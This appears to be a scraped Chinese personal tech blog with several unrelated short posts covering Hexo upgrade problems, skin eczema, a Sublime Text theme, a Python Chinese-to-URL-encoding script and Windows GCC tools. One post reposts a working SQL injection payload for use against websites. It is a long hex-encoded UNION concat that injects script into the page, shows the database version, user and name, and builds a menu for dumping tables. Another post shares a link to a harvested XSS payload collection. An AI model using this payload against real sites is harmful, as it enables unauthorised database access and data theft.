hexo 更新的一些坑

更新了hexo版本,发现原来的图片连接不少都失效了,

  • 就是之前使用的是

    1
    site.baseurl

    这样的引用路径全部失效,必须改用网站跟路径的那样写才可以。

  • gitment使用一直加载失败,不知道什么原因。

  • 还有一些其他坑,以后慢慢发掘~~

做个记号

https://hexo.io/zh-cn/docs/tag-plugins.html

优雅的进行sql injection

刚刚从网上看到的~

优雅的进行sql

  1. 首先

    by ```判断字段数
    1
    2
    2. 随意选个可以回显的字段替换下面的代码:
    ```concat(0x3c7363726970743e75726c3d70726f6d707428224a757374207265706c61636520796f757220496e6a656374696f6e20706f696e742077697468206b6579776f726420276d616b6d616e2722293b3c2f7363726970743e3c6469762069643d226172736368223e,0x3c62723e3c7461626c6520626f726465723d2231223e3c74723e3c74643e44422056657273696f6e203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,version(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e2044422055736572203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,user(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e5072696d617279204442203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,database(),0x203c2f74643e3c2f74723e3c2f7461626c653e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e43686f6f73652061207461626c652066726f6d207468652064726f70646f776e206d656e75203a203c2f666f6e743e3c62723e,concat(0x3c7363726970743e66756e6374696f6e20746f48657828737472297b76617220686578203d27273b666f722876617220693d303b693c7374722e6c656e6774683b692b2b297b686578202b3d2027272b7374722e63686172436f646541742869292e746f537472696e67283136293b7d72657475726e206865783b7d66756e6374696f6e2072656469726563742873697465297b6d616b73706c69743d736974652e73706c697428222e22293b64626e616d653d6d616b73706c69745b305d3b74626c6e616d653d6d616b73706c69745b315d3b6d616b7265703d22636f6e636174284946284074626c3a3d3078222b746f4865782874626c6e616d65292b222c3078302c307830292c4946284064623a3d3078222b746f4865782864626e616d65292b222c3078302c307830292c636f6e6361742830783363373336333732363937303734336537353732366333643232222b746f4865782875726c292b2232323362336332663733363337323639373037343365292c636f6e63617428636f6e6361742830783363373336333732363937303734336536343632336432322c4064622c307832323362373436323663336432322c4074626c2c3078323233623363326637333633373236393730373433652c30783363363233653363363636663665373432303633366636633666373233643732363536343365323035333531346336393437346634343733323035333739366537343631373832303536323033313265333032303432373932303464363136623464363136653363326636363666366537343365336336323732336533633632373233653534363136323663363532303465363136643635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4074626c2c3078336332663636366636653734336532303636373236663664323036343631373436313632363137333635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4064622c307833633266363636663665373433653363363237323365346537353664363236353732323034663636323034333666366337353664366537333230336132303363363636663665373432303633366636633666373233643632366337353635336533633733363337323639373037343365363336663663363336653734336432322c2853454c45435420636f756e7428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d40646220616e64207461626c655f6e616d653d4074626c292c3078323233623634366636333735366436353665373432653737373236393734363532383633366636633633366537343239336233633266373336333732363937303734336533633266363636663665373433652c307833633632373233652c2873656c65637420284078292066726f6d202873656c656374202840783a3d30783030292c284063686b3a3d31292c202873656c656374202830292066726f6d2028696e666f726d6174696f6e5f736368656d612e636f6c756d6e732920776865726520287461626c655f736368656d613d3078222b746f4865782864626e616d65292b222920616e6420287461626c655f6e616d653d3078222b746f4865782874626c6e616d65292b222920616e642028307830302920696e202840783a3d636f6e6361745f777328307832302c40782c4946284063686b3d312c30783363373336333732363937303734336532303633366636633665363136643635323033643230366536353737323034313732373236313739323832393362323037363631373232303639323033643230333133622c30783230292c30783230363336663663366536313664363535623639356432303364323032322c636f6c756d6e5f6e616d652c307832323362323036393262326233622c4946284063686b3a3d322c307832302c30783230292929292978292c30783636366637323238363933643331336236393363336436333666366336333665373433623639326232623239376236343666363337353664363536653734326537373732363937343635323832323363363636663665373432303633366636633666373233643637373236353635366533653232326236393262323232653230336332663636366636653734336532323262363336663663366536313664363535623639356432623232336336323732336532323239336237643363326637333633373236393730373433652c636f6e6361742830783363363233652c307833633733363337323639373037343365373137353635373237393364323232323362363636663732323836393364333133623639336336333666366336333665373433623639326232623239376237313735363537323739336437313735363537323739326236333666366336653631366436353562363935643262323232633330373833323330333336313333363133323330326332323362376437353732366333643735373236633265373236353730366336313633363532383232323732323263323232353332333732323239336236343664373037313735363537323739336437353732366332653732363537303663363136333635323832323664363136623664363136653232326332323238373336353663363536333734323834303239323036363732366636643238373336353663363536333734323834303361336433303738333033303239323032633238373336353663363536333734323032383430323932303636373236663664323832323262363436323262323232653232326237343632366332623232323937373638363537323635323834303239323036393665323032383430336133643633366636653633363137343566373737333238333037383332333032633430326332323262373137353635373237393262323233303738333336333336333233373332333336353239323932393239363132393232323933623634366636333735366436353665373432653737373236393734363532383232336336313230363837323635363633643237323232623634366437303731373536353732373932623232323733653433366336393633366232303438363537323635323037343666323034343735366437303230373436383639373332303737363836663663363532303534363136323663363533633631336532323239336233633266373336333732363937303734336529292929223b75726c3d75726c2e7265706c616365282227222c2225323722293b75726c706173313d75726c2e7265706c61636528226d616b6d616e222c6d616b726570293b77696e646f772e6f70656e2875726c70617331293b7d3c2f7363726970743e3c73656c656374206f6e6368616e67653d22726564697265637428746869732e76616c756529223e3c6f7074696f6e2076616c75653d226d6b6e6f6e65222073656c65637465643e43686f6f73652061205461626c653c2f6f7074696f6e3e,(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c6f7074696f6e2076616c75653d22,UNHEX(HEX(table_schema)),0x2e,UNHEX(HEX(table_name)),0x223e,UNHEX(HEX(concat(0x4461746162617365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name))),0x3c2f6f7074696f6e3e))))x),0x3c2f73656c6563743e),0x3c7363726970743e646f63756d656e742e626f64792e696e6e657248544d4c3d646f63756d656e742e676574456c656d656e74427949642827617273636827292e696e6e657248544d4c3b3c2f7363726970743e)

  2. 确定后输入之前联合查询替换前的url(此时的相应字段要替换为makman),确定

  3. 之后就是优雅的进行sql查询了~

选择相应的表,查看数据,导出

以上代码转自 Arschloch’Blog

破相了

最近不知道怎么了,得了急性湿疹,医生给我说是变态反应

哎,真是无语,都不知道对什么超过敏。

已经破了相了~

破相了

破相

破。。。。。

新增了部分shell,不过都比较老。

么办法,现在已经不逛 hack bbs , 只去 wooyunfreebuf

所以资源更新慢,望谅解!!

破相了,好郁闷

不过,已经结婚,也有孩子了~

所以不怕破相~

美化了导航栏

好长时间没有更新blog了,这次美化下导航栏~

自我感觉还不错~

还有就是美化了代码高亮及修改了emoji的支持~

test: 这几天股市大跌,不知道你:u5272:肉了没有

汉子转url编码 python3版

直接上代码 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# date: 2015-08-31
# filename: zhtourl.py
#
# 中文转url编码
#
# The MIT License
#
# 使用说明,把需要转换的中文字符写入abc.txt,格式请参考abc.txt,result.txt为转换后的文件
#
# Copyright (c) 2015
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
from urllib.parse import quote
f = open("abc.txt", 'r', encoding='utf-8')
d = open("result.txt", "w", encoding="utf-8")
for x in f.readlines():
data1 = quote(str(x.strip('\n')))
d.write(data1+"\n")
d.close()
f.close()
if __name__ == "__main__":
input("输入任意键,退出:")

abc.txt 内容如下:

张伟
王伟
王芳
李伟
李娜
张敏
李静
王静
刘伟
王秀英
张丽
李秀英
王丽
张静
张秀英
李强
王敏
李敏
王磊
刘洋
王艳
王勇
李军
张勇
李杰
张杰
张磊
王强
李娟
王军
张艳
张涛
王涛
李艳
王超
李明
李勇
王娟
刘杰
刘敏
李霞
李丽
张军
王杰
张强
王秀兰
王刚
王平
刘芳
张燕
刘艳
刘军
李平
王辉

好了

脸上好了许多,终于不怕出去吓人了~
就是仔细看还能看到暗红色的斑,继续涂药,吃药!
不幸的是我还是中度的脂肪肝
这是什么节奏啊
检查出中度脂肪肝,立马就是急性湿疹。。
看看吧,先减少脂肪类摄入,加强锻炼,半年后,在检查看看。
希望能好! ^_^! :+1:

ps:往往愿望是美好的,但是前行的道路是曲折的
泪奔。。。。。。

sublime text3 超级漂亮的主题

  推荐一个sublime text3 的主题 material-theme,超级漂亮

截图如下:

截图

废话不多说,安装方式:

  1. ctrl+shift+p 搜索 material theme 进行安装
  2. github下载主题后,复制到 Packages\User\ 目录下

之后就是启用那个主题,重新启动sublime text就好了~~

不知道谁还用sublime text3,在win10 64bit 情况下~ sublime text3 输入中文,不能跟随,谁晓得如何处理??

xss payloads

为什么说是伪原创呢?
因为用的是owasp 出的xss检测神器,没有payloads库,那就让其扫描自己的网站,之后在根据日志来选出自己需要的,过程还算简单,就是Xenotix 扫描速度有些慢。
扫描速度慢,或许是自己不会用吧 :blush:

其实就是把 Xenotix 的payloads共享出来
同样的方法,大家也可以让360去扫,安全宝去扫 之后在整理浏览器的日志就有各自的paylods库了~

Xenotix 下载地址

Xenotix payloads downlod

windows with linux command

如上,这次介绍的是在win下的的gcc 和 一些linux 命令

gcc 一般在win下使用都是MinGW,推荐一个迷你的gcc TDM-GCC,相对MinGW的大体积,TDM-GCC不足35M大小的安装包完全是秒杀~~

另外推荐的是在win可以使用linux 命令的,同样不去使用大体积的cygwin,而是gow(大小不足10M)但是里面的工具基本包含了linux的下常用命令。

大家都可以去试一试,还是不错的~ :ghost: :ghost:

,